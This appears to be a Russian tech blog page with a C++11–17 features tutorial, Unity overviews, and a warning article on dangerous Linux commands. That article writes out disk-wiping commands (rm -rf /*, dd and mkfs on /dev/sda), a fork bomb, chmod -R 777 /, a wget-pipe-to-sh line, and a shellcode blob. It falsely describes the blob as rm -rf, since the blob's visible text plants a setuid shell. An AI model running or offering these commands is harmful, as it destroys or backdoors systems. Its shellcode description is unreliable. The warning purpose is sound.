MaxTech

Домой

Сисадмин

Девелопер

Мои программы

Шпаргалка по CMD командам в Windows

Командная строка Windows (CMD) — мощный инструмент, который предоставляет доступ к широкому набору команд для выполнения различных задач, от работы с файлами до настройки сети и автоматизации процессов. В статье рассмотрим 100 популярных команд CMD, которые пригодятся как новичкам, так и опытным пользователям. Для удобства они разделены по категориям.

Маршрутизатор и коммутатор, в чем разница?

Маршрутизаторы и коммутаторы — сетевые устройства, позволяющие одному или нескольким девайсам подключаться к другим компьютерам, сетевым устройствам или другим сетям. Они схожи, но у них разный функционал.

21 фича современного C++

В этой статье вашему вниманию будут представлены 21 новая фича современного C++, которые помогут сделать ваш проект лучше, а работу над ним легче.

1. Разделители разрядов чисел

int no = 1'000'000;                      // визуальное разделение единиц, тысяч, миллионов и т.д.
long addr = 0xA000'EFFF;                 // визуальное разделение 32-битного адреса на
uint32_t binary = 0b0001'0010'0111'1111; // удобочитаемые сегменты

Раньше вам нужно было считать цифры или нули, но, начиная с C++14, вы можете сделать большие числа намного нагляднее.
Эта фича помогает облегчить навигацию по словам и цифрам. Или, допустим, вы можете повысить читаемость номера кредитной карты или социального страхования.
Благодаря сгруппированным разрядам, ваш код станет немного выразительнее.

2. Псевдонимы типов

template <typename T>
using dyn_arr = std::vector<T>;
dyn_arr<int> nums; // эквивалентно std::vector<int>

using func_ptr = int (*)(int);

Семантически похоже на использование typedef, однако псевдонимы типов легче читаются и совместимы с шаблонами С++. Поблагодарите С++11.

3. Пользовательские литералы

using ull = unsigned long long;

constexpr ull operator"" _KB(ull no)
{
    return no * 1024;
}

constexpr ull operator"" _MB(ull no)
{
    return no * (1024_KB);
}

cout<<1_KB<<endl;
cout<<5_MB<<endl;

По большей части это будут какие-нибудь реальные единицы, такие как kb, mb, км, см, рубли, доллары, евро и т.д. Пользовательские литералы позволяют вам не определять функции, для выполнения преобразования единиц измерения во время выполнения, а работать с ним как с другими примитивными типами.
Очень удобно для единиц и измерения.
Благодаря добавлению constexpr вы можете добиться нулевого влияния на производительность во время выполнения, что мы увидим позже в этой статье, и более подробно вы можете почитать об этом в другой статье, которую я написал, — “Использование const и constexpr в С++”.

4. Унифицированная инициализация и инициализация нестатических членов

Раньше вам нужно было инициализировать поля их значениями по умолчанию в конструкторе или в списке инициализации. Но начиная с C++11 можно задавать обычным переменным-членам класса (тем, которые не объявлены с ключевым словом static) инициализирующее значение по умолчанию, как показано ниже:

class demo
{
private:
    uint32_t m_var_1 = 0;
    bool m_var_2 = false;
    string m_var_3 = "";
    float m_var_4 = 0.0;

public:
    demo(uint32_t var_1, bool var_2, string var_3, float var_4)
        : m_var_1(var_1),
          m_var_2(var_2),
          m_var_3(var_3),
          m_var_4(var_4) {}
};

demo obj{123, true, "lol", 1.1};

Это особенно полезно, когда в качестве полей выступают сразу несколько вложенных объектов, определенных, как показано ниже:

class computer
{
private:
    cpu_t           m_cpu{2, 3.2_GHz};
    ram_t           m_ram{4_GB, RAM::TYPE::DDR4};
    hard_disk_t     m_ssd{1_TB, HDD::TYPE::SSD};

public:
    // ...
};

В этом случае вам не нужно инициализировать их в списке инициализации. Вместо этого вы можете напрямую указать значение по умолчанию во время объявления.

class X
{
    const static int m_var = 0;
};

// int X::m_var = 0; // не требуется для статических константных полей

Вы также можете инициализировать во время объявления const static члены класса, как показано выше.

5. std::initializer_list

std::pair<int, int> p = {1, 2};
std::tuple<int, int> t = {1, 2};
std::vector<int> v = {1, 2, 3, 4, 5};
std::set<int> s = {1, 2, 3, 4, 5};
std::list<int> l = {1, 2, 3, 4, 5};
std::deque<int> d = {1, 2, 3, 4, 5};

std::array<int, 5> a = {1, 2, 3, 4, 5};

// Не работает для адаптеров
// std::stack<int> s = {1, 2, 3, 4, 5};
// std::queue<int> q = {1, 2, 3, 4, 5};
// std::priority_queue<int> pq = {1, 2, 3, 4, 5};

Присваивайте значения контейнерам непосредственно с помощью списка инициализаторов, как это можно делать с C-массивами.
Это справедливо и для вложенных контейнеров. Скажите спасибо С++11.

6. auto & decltype

auto a = 3.14; // double
auto b = 1; // int
auto& c = b; // int&
auto g = new auto(123); // int*
auto x; // error -- `x` requires initializer

auto-типизированные переменные выводятся компилятором на основе типа их инициализатора.
Чрезвычайно полезно с точки зрения удобочитаемости, особенно для сложных типов:

// std::vector<int>::const_iterator cit = v.cbegin();
auto cit = v.cbegin(); // альтернатива

// std::shared_ptr<vector<uint32_t>> demo_ptr(new vector<uint32_t>(0);
auto demo_ptr = make_shared<vector<uint32_t>>(0); // альтернатива

Функции также могут выводить тип возвращаемого значения с помощью auto. В C++11 тип возвращаемого значения должен быть указан либо явно, либо с помощью decltype, например:

template <typename X, typename Y>
auto add(X x, Y y) -> decltype(x + y)
{
    return x + y;
}
add(1, 2);     // == 3
add(1, 2.0);   // == 3.0
add(1.5, 1.5); // == 3.0

Приведенная выше форма определения возвращаемого типа называется trailing return type, т.е. -> return-type.

7. Циклы for по диапазону

Синтаксический сахар для перебора элементов контейнера.

std::array<int, 5> a {1, 2, 3, 4, 5};
for (int& x : a) x *= 2;
// a == { 2, 4, 6, 8, 10 }

Обратите внимание на разницу при использовании int в противовес int&:

std::array<int, 5> a {1, 2, 3, 4, 5};
for (int x : a) x *= 2;
// a == { 1, 2, 3, 4, 5 }

8. Умные указатели

C++11 добавляет в язык новые умные указатели: std::unique_ptr, std::shared_ptr, std::weak_ptr.
А std::auto_ptr устарел, и в конечном итоге удален в C++17.

std::unique_ptr<int> i_ptr1{new int{5}}; // Не рекомендуется 
auto i_ptr2 = std::make_unique<int>(5);  // Так лучше

template <typename T>
struct demo
{
    T m_var;

    demo(T var) : m_var(var){};
};

auto i_ptr3 = std::make_shared<demo<uint32_t>>(4);

Гайдлайны ISO CPP рекомендуют избегать явных вызовов new и delete, выразив это в правиле “никаких голых new”.

9. nullptr

C++11 добавил новый тип пустого указателя, предназначенный для замены макроса C NULL.
nullptr имеет тип std::nullptr_t и может быть неявно преобразован в типы непустых указателей, и в отличие от NULL, не конвертируем в целочисленные типы, за исключением bool.

void foo(int);
void foo(char*);
foo(NULL); // ошибка -- неоднозначность
foo(nullptr); // вызывает foo(char*)

10. Строго типизированные перечисления

enum class STATUS_t : uint32_t
{
    PASS = 0,
    FAIL,
    HUNG
};

STATUS_t STATUS = STATUS_t::PASS;
STATUS - 1; // больше не валидно, начиная с C++11

Типобезопасные перечисления, которые решают множество проблем с C-перечислениями, включая неявные преобразования, арифметические операции, невозможность указать базовый тип, загрязнение области видимости и т.д.

11. Приведение типов

Приведение в стиле C изменяет только тип, не затрагивая сами данные. В то время как старый C++ имел небольшой уклон в типобезопасность, он предоставлял фичу указания оператора/функции преобразования типа. Но это было неявное преобразование типов. Начиная с C++11, функции преобразования типов теперь можно сделать явными с помощью спецификатора explicit следующим образом:

struct demo
{
    explicit operator bool() const { return true; }
};

demo d;
if (d);                             // OK, вызывает demo::operator bool()
bool b_d = d;                       // ОШИБКА: не может преобразовать 'demo' в 'bool' во время инициализации
bool b_d = static_cast<bool>(d);    // OK, явное преобразование, вы знаете, что делаете

12. Move-семантика

Когда объект будет уничтожен или не будет более использоваться после выполнения выражения, целесообразнее переместить (move) ресурс, а не копировать его.
Копирование включает в себя ненужные накладные расходы, такие как выделение памяти, высвобождение и копирование содержимого памяти и т.д.
Рассмотрим следующую функцию, меняющую местами два значения:

template <class T>
swap(T& a, T& b) {
    T tmp(a);   // теперь у нас есть две копии a
    a = b;      // теперь у нас есть две копии b (+ отброшена копия a)
    b = tmp;    // теперь у нас есть две копии tmp (+ отброшена копия b)
}

Использование move позволяет вам напрямую обменивать ресурсы вместо их копирования:

template <class T>
swap(T& a, T& b) {
    T tmp(std::move(a));
    a = std::move(b);   
    b = std::move(tmp);
}

А теперь представьте, что происходит, когда Т это, скажем, vector<int> размера n. И n достаточно велико.
В первой версии вы читаете и записываете 3*n элементов, во второй версии вы в по сути читаете и записываете только 3 указателя на буферы векторов плюс 3 размера буферов.
Конечно, класс Т должен знать, как ему перемещаться; ваш класс должен иметь оператор присваивания перемещением и конструктор перемещения для класса Т, чтобы это работало.
Эта фича даст вам значительный прирост в производительности — именно то, поэтому люди используют C++ (т.е., чтобы выжать последние 2-3 капли скорости).

13. Универсальные ссылки

В официальной терминологии известные как forwarding references (передаваемые ссылки). Универсальная ссылка объявляется с помощью синтаксиса Т&&, где Т является шаблонным параметром типа, или с помощью auto&&. Они в свою очередь служат фундаментом для двух других крупных фич:
- move-семантика
- И perfect forwarding, возможность передавать аргументы, которые являются либо lvalue, либо rvalue.

Универсальные ссылки позволяют ссылаться на привязку либо к lvalue, либо к rvalue в зависимости от типа. Универсальные ссылки следуют правилам свертывания ссылок:

T& & становится T&
T& && становится T&
T&& & становится T&
T&& && становится T&&

Вывод шаблонного параметра типа с lvalue и rvalue:

// Начиная с C++14 и далее:
void f(auto&& t) {
  // ...
}

// Начиная с C++11 и далее:
template <typename T>
void f(T&& t) {
  // ...
}

int x = 0;
f(0); // выводится как f(int&&)
f(x); // выводится как f(int&)

int& y = x;
f(y); // выводится как f(int& &&) => f(int&)

int&& z = 0; // ПРИМЕЧАНИЕ: z — это lvalue типа int&amp;&amp;.
f(z); // выводится как f(int&& &) => f(int&)
f(std::move(z)); // выводится как f(int&& &&) => f(int&&)

14. Шаблоны с переменным количеством аргументов

void print() {}

template <typename First, typename... Rest>
void print(const First &first, Rest &&... args)
{
    std::cout << first << std::endl;
    print(args...);
}

print(1, "lol", 1.1);

Синтаксис ... создает пакет параметров или расширяет уже существующий. Шаблонный пакет параметров — это шаблонный параметр, который принимает ноль или более аргументов-шаблонов (нетипизированных объектов, типов или шаблонов). Шаблон С++ с хотя бы одним пакетом параметров называется вариативный шаблоном с переменным количеством аргументов (variadic template).

15. constexpr

constexpr uint32_t fibonacci(uint32_t i)
{
    return (i <= 1u) ? i : (fibonacci(i - 1) + fibonacci(i - 2));
}

constexpr auto fib_5th_term = fibonacci(6); // равноценно auto fib_5th_term = 8

Константные выражения — это выражения, вычисляемые компилятором во время компиляции. В приведенном выше примере функция fibonacci выполняется/вычисляется компилятором во время компиляции, и будет заменена на результат в вызове места.

16. Удаленные и дефолтные функции

struct demo
{
    demo() = default;
};

demo d;

У вас вполне закономерно может возникнуть вопрос, зачем вам писать 8+ букв (т.е. = default;), когда можно просто использовать {}, т.е. пустой конструктор? Никто вас не останавливает. Но подумай о конструкторе копирования, операторе копирования присваиванием, и т.д.
Пустой конструктор копирования, например, не то же самое, что конструктор копирования по умолчанию (который будет выполнять почленную копию всех членов).

Вы можете ограничить определенную операцию или способ инстанцирования объекта, просто удалив соответствующий метод, как показано ниже:

class demo
{
    int m_x;

public:
    demo(int x) : m_x(x){};
    demo(const demo &) = delete;
    demo &operator=(const demo &) = delete;
};

demo obj1{123};
demo obj2 = obj1; // ОШИБКА -- вызов удаленного конструктора копирования
obj2 = obj1;      // ОШИБКА -- оператор = удален

В старом С++ вы должны были сделать его приватным. Но теперь в вашем распоряжении есть директива компилятора delete.

17. Делегирование конструкторов

struct demo
{
    int m_var;
    demo(int var) : m_var(var) {}
    demo() : demo(0) {}
};

demo d;

В старом C++ вам нужно создавать функцию-член для инициализации и вызывать ее из всех конструкторов для достижения универсально инициализации.
Но начиная с C++11 конструкторы теперь могут вызывать другие конструкторы из того же класса с помощью списка инициализаторов.

18. Лямбда-выражения

auto generator = [i = 0]() mutable { return ++i; };
cout << generator() << endl; // 1
cout << generator() << endl; // 2
cout << generator() << endl; // 3

Я думаю, что эта фича не нуждается в представлении и является фаворитом среди других фич.
Теперь вы можете объявлять функции где угодно. И это не будет стоить вам никаких дополнительных накладных расходов.

19. Операторы ветвления с инициализатором

В более ранних версиях C++ инициализатор либо объявлялся перед оператором и просачивался во внешнюю область видимости, либо использовалась явная область видимости.
В C++17 появилась новая форма if/switch, которую можно записать более компактно, а улучшенный контроль области видимости делает некоторые ранее подверженные ошибкам конструкции немного более надежными:

switch (auto STATUS = window.status()) // Объявляем объект прямо в операторе ветвления
{
case PASS:// делаем что-то
    break;
case FAIL:// делаем что-то
    break;
}

Как это работает

{
    auto STATUS = window.status();
    switch (STATUS)
    {
    case PASS: // делаем что-то
        break;
    case FAIL: // делаем что-то
        break;
    }
}

20. std::tuple

auto employee = std::make_tuple(32, " Vishal Chovatiya", "Bangalore");
cout << std::get<0>(employee) << endl; // 32
cout << std::get<1>(employee) << endl; // "Vishal Chovatiya"
cout << std::get<2>(employee) << endl; // "Bangalore"

Кортежи представляют собой набор разнородных значений фиксированного размера. Доступ к элементам std::tuple производится с помощью std::tie или std::get.
Вы также можете выхватывать произвольные и разнородные возвращаемые значения следующим образом:

auto get_employee_detail()
{
    // делаем что-нибудь . . . 
    return std::make_tuple(32, " Vishal Chovatiya", "Bangalore");
}

string name;
std::tie(std::ignore, name, std::ignore) = get_employee_detail();

Используйте std::ignore в качестве плейсхолдера для игнорируемых значений. В С++ 17, вместо этого следует использовать структурированные привязки.

21. Выведение аргумента шаблона класса

std::pair<std::string, int> user = {"M", 25}; // раньше
std::pair user = {"M", 25};                   // C++17

std::tuple<std::string, std::string, int> user("M", "Chy", 25); // раньше
std::tuple user2("M", "Chy", 25);                               // выведение в действии!

Автоматическое выведение аргументов шаблона очень похоже на то, как это делается для функций, но теперь также включает и конструкторы классов.

Пара слов в заключение

Здесь мы только слегка коснулись огромного набора новых фич и возможности их применения. В современном C++ можно найти еще очень много чего, но тем не менее вы можете считать этот набор хорошей отправной точкой. Современный C++ расширяется не только с точки зрения синтаксиса, но также добавляется гораздо больше других функций, таких как неупорядоченные контейнеры, потоки, регулярное выражение, Chrono, генератор/распределитель случайных чисел, обработка исключений и множество новых алгоритмов STL (например, all_of(), any_of(), none_of(), и т.д).

Да пребудет с вами C++!

10 опасных команд Linux, будьте с ними осторожны

Какие самые опасные команды Linux? Нет определенного списка опасных команд Linux, но у вас есть инструменты, которые позволяют вам контролировать и модифицировать каждый аспект вашей операционной системы. Поэтому если вы не знакомы с командами и инструментами, вы можете довольно легко испортить свою систему.

Представьте себе сценарий маленького ребенка в домашнем хозяйстве. Есть множество способов, которыми ребенок может навредить себе. Но значит ли это, что ребенка нельзя выпускать за пределы кроватки?

Здесь родители устанавливают границы и направляют ребенка. Не подходите к огню. Не суйте пальцы в электрические розетки. По мере того, как ребенок растет и набирается опыта, он может включать плиту, разводить огонь в камине и подключать электрические кабели.

Точно так же, если вы знаете несколько известных рискованных команд, вы можете избежать попадания в ловушки троллей, пытающихся обманом заставить вас выполнять команды и испортить вашу систему.

По мере того, как вы приобретете опыт и узнаете значение и использование команд и инструментов, шансы разрушить вашу систему глупыми и хитрыми командами будут уменьшаться.

1. rm -rf /*

Это, вероятно, самая печально известная команда во всех социальных сетях. Вы часто можете встретить троллей, комментирующих это в различных обсуждениях.

Команда rm используется для удаления файлов/каталогов. Флаги -r и -f используются для обозначения рекурсивного удаления всех файлов внутри указанного каталога. Теперь, без привилегий root, эта команда не причинит никакого вреда.

Выполнение команды sudo rm -rf / также не создаст никаких проблем, поскольку большинство дистрибутивов предоставляют опцию отказоустойчивости. Вам нужно указать –no-preserve-root, чтобы навредить системе.

sudo rm -rf / --no-preserve-root

Однако более простой вариант:

sudo rm -rf /*

Выполнение указанных выше команд начнет рекурсивно удалять все файлы в корневом каталоге, и в какой-то определенный момент ваша система зависнет с сообщением «Ошибка удаления файла». После перезагрузки вы будете отправлены на grub-rescue.

2. Перезапишите свой раздел

Если вы знакомы с файловыми системами, вы, вероятно, знаете, что такое /dev/sda. Это (обычно) раздел вашего диска. Оператор > используется для записи вывода предыдущей команды в указанное указанное место.

После того, как вы запустите любую команду и запишете ее в /dev/sda, введите:

echo "Hello" > /dev/sda

Это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

3. Переместить все в пустоту

Внутри каждой системы Linux есть пустота. И эта пустота — /dev/null.

Все, что вы бросаете в эту область, теряется навсегда. Кроме того, он сообщает об успешном процессе записи после отбрасывания данных, что является основной причиной его опасности.

mv /home/user/* /dev/null

Команда mv используется для перемещения или переименования файлов/каталогов. В приведенной выше команде вы перемещаете все файлы внутри домашнего каталога в пустоту. Все ваши личные данные будут утеряны.

4. Отформатируйте жесткий диск

mkfs — это утилита командной строки, используемая для форматирования дисков и разделов. Это очень удобный инструмент для создания разделов для различных установок. Но та же команда может отформатировать и ваш диск. Форматирование диска означает удаление всех файлов, необходимых для загрузки системы.

mkfs.ext3 /dev/sda

Команда выполняет свою работу, и в итоге вы получаете испорченную систему, которую невозможно восстановить.

5. Вилочная бомба

Эта симпатичная случайная комбинация специальных символов достаточно мощна, чтобы заморозить работающую систему, исчерпав системные ресурсы.

:(){:|:&};:

& — фоновый оператор оболочки. Он информирует оболочку о переводе команды в фоновый режим. Здесь он определяет функцию с именем ‘:’, которая вызывает себя дважды, видимом и фоновом режиме. Этот процесс продолжает выполняться снова и снова, пока система не зависнет.

Как следует из названия, команда разветвляется и в конечном итоге становится цепной бомбой и поглощает все системные ресурсы. Вы будете вынуждены перезагрузить систему, что не так плохо, как другие команды в этом списке.

6. Перезапишите важные файлы конфигурации

Хотя это не команда сама по себе, это скорее мера предосторожности.

Как упоминалось выше, оператор «>» используется для записи в файл. Он просто отбрасывает все, что уже присутствует в файле, и записывает предоставленные ему новые данные.

command > config_filename

Теперь, если вы используете какой-либо важный файл конфигурации в качестве места для записи данных, он заменит содержимое, оставив систему сломанной.

7. Замените раздел мусорными данными

Команда /dev/random в Linux может создавать мусорные данные. Объедините это с командой dd и вашим разделом, и вы получите коктейль Молотова, чтобы поджечь ваш раздел.

dd if=/dev/random of=/dev/sda

Команда dd используется как средство низкоуровневого копирования. Здесь она берет случайные данные /dev/random и заменяет раздел /dev/sda этим мусором.

Подобный эффект достигается при:

cat /dev/urandom > filename

Здесь он берет мусорные данные из /dev/urandom и заполняет файл. Если не завершить его с помощью Ctrl + C, файл может занимать значительное количество места, что может иметь катастрофические последствия для слабых систем.

8. Откройте свою систему для всех

В Linux все является файлом, и каждый файл имеет определенные разрешения.

Вы можете просмотреть разрешения с помощью ls -l. Корневая файловая система недоступна для других пользователей без привилегий. Хотя это обеспечивает безопасную работу в системе, вы можете испортить все с помощью одной единственной команды.

chmod -R 777 /

Приведенная выше команда предоставляет доступ всем, ко всем файлам в корневом разделе. Это означает, что каждый, кто использует систему, имеет права на чтение, запись и выполнение. Это не хорошо для вашей системы.

9. Загрузите и запустите вредоносный контент

Как вы устанавливаете программное обеспечение в Linux? Вы используете официальный менеджер пакетов или готовые к использованию пакеты как Deb/RPM, Snap. Flatpack и др.

Однако некоторые программы не упакованы, и их разработчики предоставляют сценарии оболочки для загрузки и запуска.

Вы загружаете файл оболочки и запускаете его от имени пользователя root, чтобы установить программное обеспечение в своей системе. Вы видите в этом проблему?

Хотя он работает с официальным программным обеспечением, таким как Homebrew, вам следует дважды проверить содержимое загружаемого сценария оболочки, прежде чем запускать его напрямую, как показано ниже:

wget http://malicious_source -O- | sh

Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.

10. Замаскированные команды

Есть много способов запускать команды в терминале Linux. Одним из таких способов являются шестнадцатеричные команды.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Хотя это выглядит причудливо, это закодированная версия команды rm -rf. Её выполнение даст тот же эффект, что и выполнение предыдущей команды. Так что, копируя и вставляя такие причудливые команды из Интернета, будьте осторожны.

Подведение итогов

Есть известный компьютерный термин «проблема существует между клавиатурой и стулом».

Потому что, в конце концов, пользователь (вы) должен убедиться, что вы не разрушите систему, слепо выполнив любую опасную команду.

В задачу UNIX не входит мешать вам прострелить себе ногу. Если вы решите это сделать, то задача UNIX, не будет против.

И эта линия в равной степени относится и к Linux. Вы получаете полный контроль над своей операционной системой. Что вы решите делать, зависит только от вас.

Чтобы обеспечить более безопасный опыт:

Попытайтесь понять команды, которые вы собираетесь запустить.
Сохраняйте резервную копию системных настроек с помощью Timeshift
Сохраняйте резервную копию личных данных (домашний каталог) с помощью DejaDup

Фиксированного списка опасных команд Linux не существует. К этому списку можно добавить еще много всего, и он просто не имеет конца.

Источник: linuxmint.su

15 бесполезных, но весёлых команд Linux

Linux славится множеством мощных утилит командной строки, упрощающих жизнь администраторам и пользователям. Однако помимо сугубо практичных инструментов, в мире Linux есть и забавные «пасхальные яйца».

Основные классы объектов в Unity

Unity — одна из самых популярных игровых платформ, которая позволяет создавать впечатляющие и интерактивные визуальные среды. Основа для разработки в Unity — это объекты, которые могут быть настроены с помощью различных классов. В этой статье мы рассмотрим обзор классов объектов в Unity и расскажем о основных типах, которые используются в разработке.

Класс	Описание
Огнестрельное	Оружие, которое стреляет пулями или снарядами. Включает в себя пистолеты, автоматы, снайперские винтовки и прочее.
Ближнего боя	Оружие, предназначенное для атаки вблизи. Включает в себя мечи, кинжалы, топоры и другие режущие и колющие предметы.
Магическое	Оружие, основанное на использовании магических способностей. Включает в себя посохи, жезлы, кольца и другие предметы, позволяющие использовать магические заклинания или эффекты.
Гранаты и взрывчатка	Оружие, которое позволяет атаковать врагов с помощью гранат, взрывов и других взрывчатых веществ. Обычно используется для нанесения повреждений области.

Unity — что это такое и в чем его особенности

Игровой движок Unity — самое популярное в мире приложение для создания игр. Он один уже больше десяти лет занимает треть рынка. На нем сделаны хитовые игры: Sons of the Forest, Lethal Company, Cult of the Lamb, Dave the Diver и сотни тысяч других проектов.

Unity — что это?

Еще на заре программирования стало понятно, что рутинные задачи приходится выполнять многократно. Их стали собирать в готовые библиотеки и инструменты, которые впоследствии прижились и в игровой разработке. А самые сложные проекты, способные обработать графику и физику, стали называть игровыми движками.

Современные движки, в том числе Unity, содержат визуальный редактор игровых уровней и ресурсов, браузер файлов, средства для программирования и даже базовые компоненты для 3D-моделирования (хотя арт и звуки принято создавать отдельно). Именно движок помогает упаковать игру для нужных платформ, чтобы ее можно было запустить на компьютере, смартфоне или игровой приставке.

Основные особенности

На этом рынке движок Unity — мастер на все руки. Он не лучший по графике, не самый удобный в установке, да и по части оптимизации конкурентов хватает. Но Unity предлагает больше функционала и сценариев использования в одном пакете. Поэтому многим удобнее учить и применять для бизнеса именно его, а не балансировать между двумя-тремя альтернативами.

Современная графика

Уже в Unity 2019 вышла стабильная версия модуля HDRP (конвейер рендеринга высокого качества). Вместо одного общего рендера появилось два — URP для старых платформ и HDRP для более современных. С ним у разработчиков появилась возможность повысить качество материалов и освещения вплоть до фотореалистичного.

Набросать красочное небо с объемными облаками поверх реалистичных гор с деревьями стало делом буквально нескольких минут. К тому же доступна технология трассировки лучей для совместимых платформ.

Физика и взаимодействие

Для обработки физики доступны сразу несколько специальных движков. Легендарный коммерческий движок Havok остается частью платной подписки, а встроенный Unity Physics (на основе открытых технологий NVIDIA) и модули вроде Jolt доступны бесплатно. При этом 2D и 3D физика живут отдельно.

Симулировать можно твердые и упругие тела, одежду, транспорт, жидкости и некоторые эффекты. В последних обновлениях заметно улучшили симуляцию водных поверхностей, сделав возможным создание целых рек и морей без потери производительности.

Мультиплатформа

Большинство инструментов Unity, а также написанный код зачастую запустятся на всех платформах с минимальными доработками. Даже графику можно сразу делать в рамках URP (универсальный конвейер рендера) — в этом формате чуть меньше красот, но зато и результат получится совместимым даже со смартфонами.

Также компания уделяет внимание и нишевым платформам, например VR- и AR-шлемам вроде нового Apple Vision Pro. Да и поддержка браузерных игр с технологией WebGL пусть и потребует дополнительной оптимизации, но реализована лучше конкурентов.

Плагины и ассеты

При этом игру не обязательно делать самому — для типовых решений существуют бесплатные и коммерческие плагины и расширения, а графику в популярных стилях легко подключить, даже если она не была изначально задумана для Unity.

С помощью плагинов получится реализовать привычный интерфейс игры с главным меню и настройками, инвентарь или даже полноценную боевую систему. А с помощью графических ассетов получится сэкономить на создании своих моделей и рисунков.

Интуитивный редактор

Современные движки делают дизайн ярким и молодежным, уходят в повсеместные иконки и горячие клавиши, что может несколько напугать новичка. На вид красиво, но запутаться очень легко.

Unity старается называть вещи своими именами, сохраняя в меню и иконках многие текстовые подписи — кнопки, заголовки и разделы подписаны, так что не придется гадать и в панике наводить курсор на все подряд. Помогает и единообразие, как у Apple, когда все меню и разделы приложения созданы в общем дизайне, пока у Unreal каждый раздел как будто разное приложение.

Бесплатно

И, пожалуй, если искать корень успеха, то Unity можно использовать бесплатно. Первоначально проект продавали по лицензиям, но в октябре 2009 года инди-версию решили упразднить — программа «Юнити» для создания игр стала доступна для всех желающих без первоначального взноса. В то время Unreal Engine 3 стоил миллионы за лицензию на каждый проект, а Unity Technologies уже приглашали к себе всех желающих.

Сейчас условия стали даже более выгодными: бесплатную версию можно использовать, если физлицо или компания зарабатывает не более 200 тысяч долларов в год, доступна темная тема, ассеты, реклама, аналитика и большинство компонентов движка. Вскоре необязательным станет даже стартовый экран Made With Unity, который запомнился многим по расцвету инди-игр в начале десятых годов.

Преимущества Unity

Программирование C#

Главным языком в «Юнити» для создания игр и приложений остается C# (Си шарп) — писать на нем удобно, ошибки легко найти и исправить, а производительность получается весьма высокой. Язык куда проще C++ (применяемого в Unreal Engine) за счет автоматического управления памятью, а потому освоить его могут даже люди без технического склада ума.

Лидером по развитию проекта C# остается компания Microsoft, но язык также легко собирается для любых платформ, включая мобильные. И зачастую не требует менять основные функции проекта под новые платформы, а лишь добавить небольшие компоненты для удобства (например, управление с сенсорных экранов).

Визуальное программирование Bolt

Тем же, кто не может увидеть логику в тексте, стоит попробовать встроенный плагин Bolt. С ним игровые правила получится создавать с помощью блок-схем — в каждом узле можно получить данные, преобразовать и передать в другие части программы.

Например, блок может ждать нажатия кнопки пробел, а заметив активность, передать команду прыжка на персонажа. Или же враг может ждать, пока главный герой попадет в его прицел, а затем применить анимацию и логику стрельбы.

Такой подход называется визуальным программированием, ведь применяются наглядные блоки, да и многие изменения видно прямо на схеме без запуска игры.

Игровые ресурсы

Игровой движок «Юнити» ценится за модульный подход, когда можно взять объект и превратить его во что-то абсолютно другое за секунды — здесь содержимое определяет форму. Игра состоит из уровней, объектов и компонентов. Для начала создается уровень — это осязаемое и обозримое место в будущей игре, где можно собрать любые объекты. И именно уровень отображается в редакторе Unity как 3D-сцена.

На сцену добавляют объекты, а к ним компоненты — последние задают те свойства, которые будет иметь объект. Даже положение в пространстве — не обязательный параметр, а в одном предмете может быть сразу 3D-модель, физика, звук и скрипты, но этот же объект может управлять камерой или погодой.

Сложно представить что-то без положения, но к такому невидимому объекту, например, уже можно привязать кусочки кода, который будет влиять на всю сцену. Но еще лучше то, что любой объект можно запаковать для повторного использования — так создается десяток врагов на уровне или несколько подбираемых монеток. И при редактировании одного объекта обновятся сразу все.

Unity Asset Store

Компания также освоила и другой важный рынок, чтобы монетизировать модульный и бесплатный движок «Юнити», — встроенный магазин приложений Unity Asset Store. До Unity подобные сервисы либо жили отдельно от приложений, либо жестко управлялись издателем.

Но компания, вдохновляясь примером Apple, создала почти открытую среду, где любой может поделиться 2D и 3D-графикой, плагинами и даже целыми проектами. Сейчас в ассортименте почти сто тысяч товаров, многие из которых можно получить бесплатно. Благодаря этому запустить прототип игры в популярном жанре можно буквально за считанные дни из готовых ассетов.

Еще лучше то, что можно заработать на этом самому или с небольшой командой. Хорошие наборы 3D-моделей в общем стиле до сих пор очень ценятся (особенно элементы окружения). А уж анимированные персонажи могут продаваться за сотни долларов каждый.

Доход и монетизация

Для Unity игровой движок и его лицензии, как ни странно, — не главная статья доходов. Сделав ставку на бесплатный доступ 15 лет назад, в «Юнити» также запустили экосистему аналитики и собственную рекламную сеть Unity Ads. С их помощью любой разработчик может за минуты добавить к себе в проект типовые рекламные пресеты, популярные в мобильных играх. А компания собирает долю от всех доходов.

Доступны инструменты для поддержки внутриигровых покупок во всех популярных магазинах, а также быстрые заготовки для упаковки платных игр. Однако экспорт под консоли предоставляется только сертифицированным разработчикам в рамках платных лицензий.

Быстрая и гибкая платформа для программистов

Если Unreal стал в последние годы популярен среди 3D-художников, архитекторов и даже для производства сериалов, то Unity остается в первую очередь комфортной платформой для разработчиков игр, отдавая их нуждам приоритет.

В проекте куда меньше строгих и полностью готовых решений, но зато больше компонентов, из которых можно собрать что-то действительно свое. Крупные плагины тоже доступны, но уже в Unity Asset Store, благодаря чему интерфейс самого движка по умолчанию остается минималистичным и удобным. А принятые в движок решения сделаны по общему шаблону и не выглядят как десять отдельных программ.

В доступных на сегодня версиях улучшили трассировку лучей, HDR, адаптивную производительность и обновили эффекты камеры, включая блики от линз. Это может показаться незначительным, но такие блики крайне важны для создания убедительной картинки в современных 3D-играх. Также переработали прозрачность и подповерхностное рассеивание, что позволяет значительно улучшить и ускорить отображение живых существ, стекла и других полупрозрачных материалов.

Появились новые инструменты для создания водных поверхностей. Теперь разработчик может легко создать водоемы с учетом ландшафта и объектов сцены, добавить течение, пену, несколько уровней высоты и даже маски для исключения жидкости. Последнее важно, чтобы вода не отображалась, например, внутри кораблей или подводных помещений.

